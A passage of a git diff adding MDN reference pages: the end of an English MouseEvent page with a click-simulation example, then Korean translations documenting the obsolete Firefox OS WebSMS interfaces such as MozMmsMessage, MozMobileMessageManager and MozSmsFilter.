+<p><em>This interface also inherits methods of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.getModifierState()")}}</dt>
+ <dd>Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.</dd>
+ <dt>{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initializes the value of a <code>MouseEvent</code> created. If the event has already being dispatched, this method does nothing.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>This example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using DOM methods.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;label&gt;&lt;input type="checkbox" id="checkbox"&gt; Checked&lt;/label&gt;
+&lt;p&gt;&lt;button id="button"&gt;Click me&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function simulateClick() {
+  var evt = new <a href="/en-US/docs/Web/API/MouseEvent">MouseEvent</a>("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.<a href="/en-US/docs/Web/API/EventTarget.dispatchEvent" rel="internal">dispatchEvent</a>(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Redefines <code>MouseEvent</code> from long to double. This means that a <code>PointerEvent</code> whose <code>pointerType</code> is mouse will be a double.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>movementX</code> and <code>movementY</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>offsetX</code> and <code>offsetY</code>, <code>pageX</code> and <code>pageY</code>, <code>x</code>, and <code>y</code> properties. Redefined screen, page, client, and coordinate (x and y) properties as <code>double</code> from <code>long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#interface-mouseevent', 'MouseEvent')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>From {{SpecName('DOM2 Events')}}, added the <code>MouseEvent()</code> constructor, the <code>getModifierState()</code> method and the <code>buttons</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.MouseEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Its direct parent, {{domxref("UIEvent")}}.</li>
+ <li>{{domxref("PointerEvent")}}: For advanced pointer events, including multi-touch</li>
+</ul>
diff --git a/files/ko/web/api/mozmmsevent/index.html b/files/ko/web/api/mozmmsevent/index.html
new file mode 100644
index 0000000000..6a3975d40b
--- /dev/null
+++ b/files/ko/web/api/mozmmsevent/index.html
@@ -0,0 +1,82 @@
+---
+title: MozMmsEvent
+slug: Web/API/MozMmsEvent
+tags:
+  - Firefox OS
+  - Mobile
+  - Non-standard
+  - Obsolete
+  - Reference
+  - WebSMS
+translation_of: Archive/B2G_OS/API/MozMmsEvent
+---
+<p>{{ Apiref() }}</p>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozMmsEvent</code> 는 WebSMS MMS 메시지와 관련된 이벤트 객체이다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozMmsEvent.message")}} {{readonlyinline}}</dt>
+ <dd>해당 이벤트에 의해 발생된 {{ domxref("MozMmsMessage") }} 이다.</dd>
+</dl>
+
+<p><code>MozM</code><code>msEvent</code> 는 또한 {{domxref("Event")}} 의 속성을 상속받는다.</p>
+
+<p>{{page("/en-US/docs/Web/API/Event","Properties")}}</p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><code>MozMmsEvent</code> 는 {{domxref("Event")}} 의 메소드를 상속받는다.</p>
+
+<p>{{page("/en-US/docs/Web/API/Event","Methods")}}</p>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><code>MozMmsEvent</code> 는 다음과 같은 이벤트들에 사용된다:</p>
+
+<dl>
+ <dt>{{event("deliverysuccess")}}</dt>
+ <dd>MMS가 수신자에게 전달되었을 때 발생한다.</dd>
+ <dt>{{event("received")}}</dt>
+ <dd>MMS를 받았을 때 발생한다.</dd>
+ <dt>{{event("sent")}}</dt>
+ <dd>MMS를 보냈을 때 발생한다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+ <li>{{ domxref("MozMmsMessage") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozmmsmessage/index.html b/files/ko/web/api/mozmmsmessage/index.html
new file mode 100644
index 0000000000..1d00b8050d
--- /dev/null
+++ b/files/ko/web/api/mozmmsmessage/index.html
@@ -0,0 +1,83 @@
+---
+title: MozMmsMessage
+slug: Web/API/MozMmsMessage
+tags:
+  - Firefox OS
+  - Mobile
+  - Non-standard
+  - Obsolete
+  - Reference
+  - WebSMS
+translation_of: Archive/B2G_OS/API/MozMmsMessage
+---
+<div>{{APIRef("Mobile Messaging API")}}</div>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozMmsMessage</code> 객체는 MMS 메시지를 나타내며 발신자, 수신자, 본문, 첨부 파일, 날짜와 같은 모든 정보를 가지고 있다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt> </dt>
+ <dt>{{domxref("MozMmsMessage.type")}} {{readonlyinline}}</dt>
+ <dd><code>mms라는 값을 가지는 문자열이다.</code></dd>
+ <dt>{{domxref("MozMmsMessage.id")}} {{readonlyinline}}</dt>
+ <dd>메시지의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.threadId")}} {{readonlyinline}}</dt>
+ <dd>메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.subject")}} {{readonlyinline}}</dt>
+ <dd>메시지의 제목을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.smil")}} {{readonlyinline}}</dt>
+ <dd>메시지의 SMIL 콘텐츠를 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.attachments")}} {{readonlyinline}}</dt>
+ <dd>SMIL 콘텐츠에 필요한 첨부 파일을 나타내는 객체의 배열을 반환한다. 이 객체들은 <code>id</code>, <code>location,</code> <code>content</code>(<a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob" title="/en-US/docs/Web/API/Blob"><code>Blob</code></a>)를 포함하고 있다.</dd>
+ <dt>{{domxref("MozMmsMessage.expiryDate")}} {{readonlyinline}}</dt>
+ <dd>MMS를 수동으로 다운로드 받게 되는 만기일을 나타내는 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a></code> 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.delivery")}} {{readonlyinline}}</dt>
+ <dd><code>not-download</code>, <code>received</code>, <code>sending</code>, <code>sent</code>, <code>error</code> 중 하나의 값을 가지게 되는 {{ domxref("DOMString") }} 의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.deliveryStatus")}} {{readonlyinline}}</dt>
+ <dd><code>delivery</code> 속성 값에 따른 상태를 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.read")}} {{readonlyinline}}</dt>
+ <dd>메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.receivers")}} {{readonlyinline}}</dt>
+ <dd>각 수신자의 이름을 가진 {{ domxref("DOMString") }} 의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.sender")}} {{readonlyinline}}</dt>
+ <dd>발신자의 이름을 가진 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.timestamp")}} {{readonlyinline}}</dt>
+ <dd>메시지의 타임스탬프인 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a></code> 객체를 반환한다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozMobileMessage") }}</li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozmobilemessagemanager/index.html b/files/ko/web/api/mozmobilemessagemanager/index.html
new file mode 100644
index 0000000000..6b301fe71b
--- /dev/null
+++ b/files/ko/web/api/mozmobilemessagemanager/index.html
@@ -0,0 +1,101 @@
+---
+title: MozMobileMessageManager
+slug: Web/API/MozMobileMessageManager
+tags:
+  - Firefox OS
+  - Mobile
+  - Obsolete
+  - Reference
+  - WebSMS
+translation_of: Archive/B2G_OS/API/MozMobileMessageManager
+---
+<div>{{APIRef("Mobile Messaging API")}}</div>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>기기에서 WebSMS를 사용하여 MMS와 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.</p>
+
+<h2 id="이벤트_핸들러">이벤트 핸들러</h2>
+
+<dl>
+ <dt>{{domxref("MozMobileMessageManager.ondeliveryerror")}}</dt>
+ <dd>{{event("deliveryerror")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되지 않았을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.ondeliverysuccess")}}</dt>
+ <dd>{{event("deliverysuccess")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되었을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onreceived")}}</dt>
+ <dd>{{event("received")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS를 받았을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onretrieving")}}</dt>
+ <dd>{{event("retrieving")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 검색 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onsent")}}</dt>
+ <dd>{{event("sent")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 보내졌을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onsending")}}</dt>
+ <dd>{{event("sending")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 전송 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onfailed")}}</dt>
+ <dd>{{event("failed")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("MozMobileMessageManager.delete","MozMobileMessageManager.delete(param)")}}</dt>
+ <dd>메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다<code> (DOMRequest.result</code>는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다). 메시지 <code>id</code>, {{ domxref("MozSmsMessage") }} 객체 또는 {{ domxref("MozMmsMessage") }} 객체가 파라미터로 사용된다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getMessage()","MozSmsManager.getMessage(id)")}}</dt>
+ <dd>해당 <code>id에 대한 메시지를 받아서 </code>{{ domxref("DOMRequest") }} 객체를 반환한다. 이 객체의 <code>DOMRequest.result</code>는 {{ domxref("MozSmsMessage") }} 이다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}</dt>
+ <dd>여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 Boolean 값에 따라 메시지의 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getSegmentInfoForText()","MozMobileMessageManager.getSegmentInfoForText(text)")}}</dt>
+ <dd>주어진 문자(보통 SMS당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.markMessageRead()","MozMobileMessageManager.markMessageRead(id, isRead)")}}</dt>
+ <dd>해당 <code>id</code> 의 메시지를 Boolean <code>isRead</code> 값에 따라 읽음 또는 읽지 않음으로 표시한다. {{ domxref("DOMRequest") }} 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.send()","MozMobileMessageManager.send(number, message)")}}</dt>
+ <dd>해당 전화번호에 메시지를 전송한다. 만약 <code>number</code>가 {{ domxref("DOMString") }} (한 개의 전화번호) 라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 <code>number</code>가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)이라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.sendMMS()","MozMobileMessageManager.sendMMS(param)")}}</dt>
+ <dd>수신자 목록에 MMS를 전송한다. {{ domxref("DOMRequest") }} 객체를 반환한다.<br>
+ param 객체는 다음과 같은 4개의 속성을 가지고 있는 일반 JavaScript 객체이다:<br>
+ <code>receivers</code>: 문자열 배열, 각 문자열은 수신자의 전화번호를 나타낸다.<br>
+ <code>subject</code>: MMS의 제목을 나타내는 문자열이다.<br>
+ <code>smil</code>: MMS를 정의하는 SMIL 문서의 문자열 버전이다.<br>
+ <code>attachments</code>: SMIL에 의해 사용되는 첨부 파일 객체의 배열이다. 이 객체는 <code>id</code>, <code>location</code>, <code>content</code> ({{domxref("Blob")}})를 포함하고 있다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getThreads()")}}</dt>
+ <dd>{{domxref("MozMobileMessageThread")}} 의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.retrieveMMS()","MozMobileMessageManager.retrieveMMS(id)")}}</dt>
+ <dd>해당 <code>id의 메시지를 받아 </code>{{ domxref("DOMRequest") }} 를 반환한다. 이 객체의 <code>DOMRequest.result</code> 는 {{ domxref("MozMmsMessage") }} 이다.</dd>
+</dl>
+
+<p><code>MozMobileMessageManager</code> 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.</p>
+
+<p>{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체이다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozMobileMessage") }}</li>
+ <li>{{ domxref("MozMmsEvent") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozmobilemessagethread/index.html b/files/ko/web/api/mozmobilemessagethread/index.html
new file mode 100644
index 0000000000..4e8e8048a5
--- /dev/null
+++ b/files/ko/web/api/mozmobilemessagethread/index.html
@@ -0,0 +1,40 @@
+---
+title: MozMobileMessageThread
+slug: Web/API/MozMobileMessageThread
+tags:
+  - Non-standard
+translation_of: Archive/B2G_OS/API/MozMobileMessageThread
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozMobileMessageThread</code> 객체는 메시지의 스레드를 나타낸다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozMobileMessageThread.id")}} {{readonlyinline}}</dt>
+ <dd>스레드의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.body")}} {{readonlyinline}}</dt>
+ <dd>스레드의 마지막 메시지의 본문을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.unreadCount")}} {{readonlyinline}}</dt>
+ <dd>스레드에 있는 총 읽지 않은 메시지의 개수를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.participants")}} {{readonlyinline}}</dt>
+ <dd>스레드에 각 참가자의 주소를 나타내는 {{ domxref("DOMString") }} 의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.timestamp")}} {{readonlyinline}}</dt>
+ <dd>스레드의 마지막 메시지의 타임스탬프를 나타내는 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a></code> 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.lastMessageType")}} {{readonlyinline}}</dt>
+ <dd><code>sms</code> 또는 <code>mms 값을 가지는 </code>{{ domxref("DOMString") }} 을 반환한다.</dd>
+</dl>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozMobileMessage") }}</li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsevent/index.html b/files/ko/web/api/mozsmsevent/index.html
new file mode 100644
index 0000000000..14a7f48d51
--- /dev/null
+++ b/files/ko/web/api/mozsmsevent/index.html
@@ -0,0 +1,109 @@
+---
+title: MozSmsEvent
+slug: Web/API/MozSmsEvent
+translation_of: Archive/B2G_OS/API/MozSmsEvent
+---
+<p>{{ Apiref() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="요약">요약</h2>
+<p>DOM <code>MozSmsEvent</code> 는 WebSMS 문자 메시지와 관련된 이벤트 객체이다.</p>
+<h2 id="속성">속성</h2>
+<dl>
+ <dt>
+  {{domxref("MozSmsEvent.message")}} {{readonlyinline}}</dt>
+ <dd>
+  해당 이벤트에 의해 발생된 {{ domxref("MozSmsMessage") }} 이다.</dd>
+</dl>
+<p><code>MozSmsEvent</code> 는 또한 {{domxref("Event")}} 의 속성들을 상속받는다.</p>
+<p>{{page("/en-US/docs/Web/API/Event","Properties")}}</p>
+<h2 id="메소드">메소드</h2>
+<p><code>MozSmsEvent</code> 는 {{domxref("Event")}} 의 메소드들을 상속받는다.</p>
+<p>{{page("/en-US/docs/Web/API/Event","Methods")}}</p>
+<h2 id="이벤트">이벤트</h2>
+<p><code>MozSmsEvent</code> 는 다음과 같은 이벤트들에 사용된다:</p>
+<dl>
+ <dt>
+  {{event("deliverysuccess")}}</dt>
+ <dd>
+  SMS가 수신자에게 전달되었을 때 발생한다.</dd>
+ <dt>
+  {{event("received")}}</dt>
+ <dd>
+  SMS를 받았을 때 발생한다.</dd>
+ <dt>
+  {{event("sent")}}</dt>
+ <dd>
+  SMS를 보냈을 때 발생한다.</dd>
+</dl>
+<h2 id="스펙">스펙</h2>
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+<p>당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.</p>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="참고_자료">참고 자료</h2>
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+ <li>{{ domxref("MozSmsMessage") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsfilter/index.html b/files/ko/web/api/mozsmsfilter/index.html
new file mode 100644
index 0000000000..001d55e2a8
--- /dev/null
+++ b/files/ko/web/api/mozsmsfilter/index.html
@@ -0,0 +1,108 @@
+---
+title: MozSmsFilter
+slug: Web/API/MozSmsFilter
+translation_of: Archive/B2G_OS/API/MozSmsFilter
+---
+<p>{{ Apiref() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="요약">요약</h2>
+<p>DOM <code>MozSmsFilter</code> 인터페이스는 {{ domxref("SmsMessage") }} 객체들을 필터링하기 위한 방법을 제공합니다.</p>
+<h2 id="속성">속성</h2>
+<dl>
+ <dt>
+  {{domxref("MozSmsFilter.startDate")}}</dt>
+ <dd>
+  메시지를 필터링하기 위한 시작일을 나타내는 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> 이다.</dd>
+ <dt>
+  {{domxref("MozSmsFilter.endDate")}}</dt>
+ <dd>
+  메시지를 필터링하기 위한 종료일을 나타내는 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> 이다.</dd>
+ <dt>
+  {{domxref("MozSmsFilter.numbers")}}</dt>
+ <dd>
+  전화번호로 필터링하기 위한 {{ domxref("DOMString") }} 의 배열이다.</dd>
+ <dt>
+  {{domxref("MozSmsFilter.delivery")}}</dt>
+ <dd>
+  메시지를 전달 상태에 따라 필터링하기 위해 "sent"와 "received" 값을 가지게 되는 {{ domxref("DOMString") }} 이다.</dd>
+ <dt>
+  {{domxref("MozSmsFilter.read")}}</dt>
+ <dd>
+  메시지를 읽었는지 읽지 않았는지를 필터링하는 Boolean 이다.</dd>
+ <dt>
+  {{domxref("MozSmsFilter.threadid")}}</dt>
+ <dd>
+  스레드 id를 나타내는 숫자이다.</dd>
+</dl>
+<h2 id="스펙">스펙</h2>
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+<p>당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.</p>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="참고_자료">참고 자료</h2>
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+ <li>{{ domxref("MozSmsMessage") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsmanager/index.html b/files/ko/web/api/mozsmsmanager/index.html
new file mode 100644
index 0000000000..bfea424be7
--- /dev/null
+++ b/files/ko/web/api/mozsmsmanager/index.html
@@ -0,0 +1,95 @@
+---
+title: MozSmsManager
+slug: Web/API/MozSmsManager
+tags:
+  - Firefox OS
+  - Mobile
+  - Non-standard
+  - Obsolete
+  - Reference
+  - WebSMS
+translation_of: Archive/B2G_OS/API/MozSmsManager
+---
+<div>{{APIRef("Mobile Messaging API")}}</div>
+
+<div class="warning">
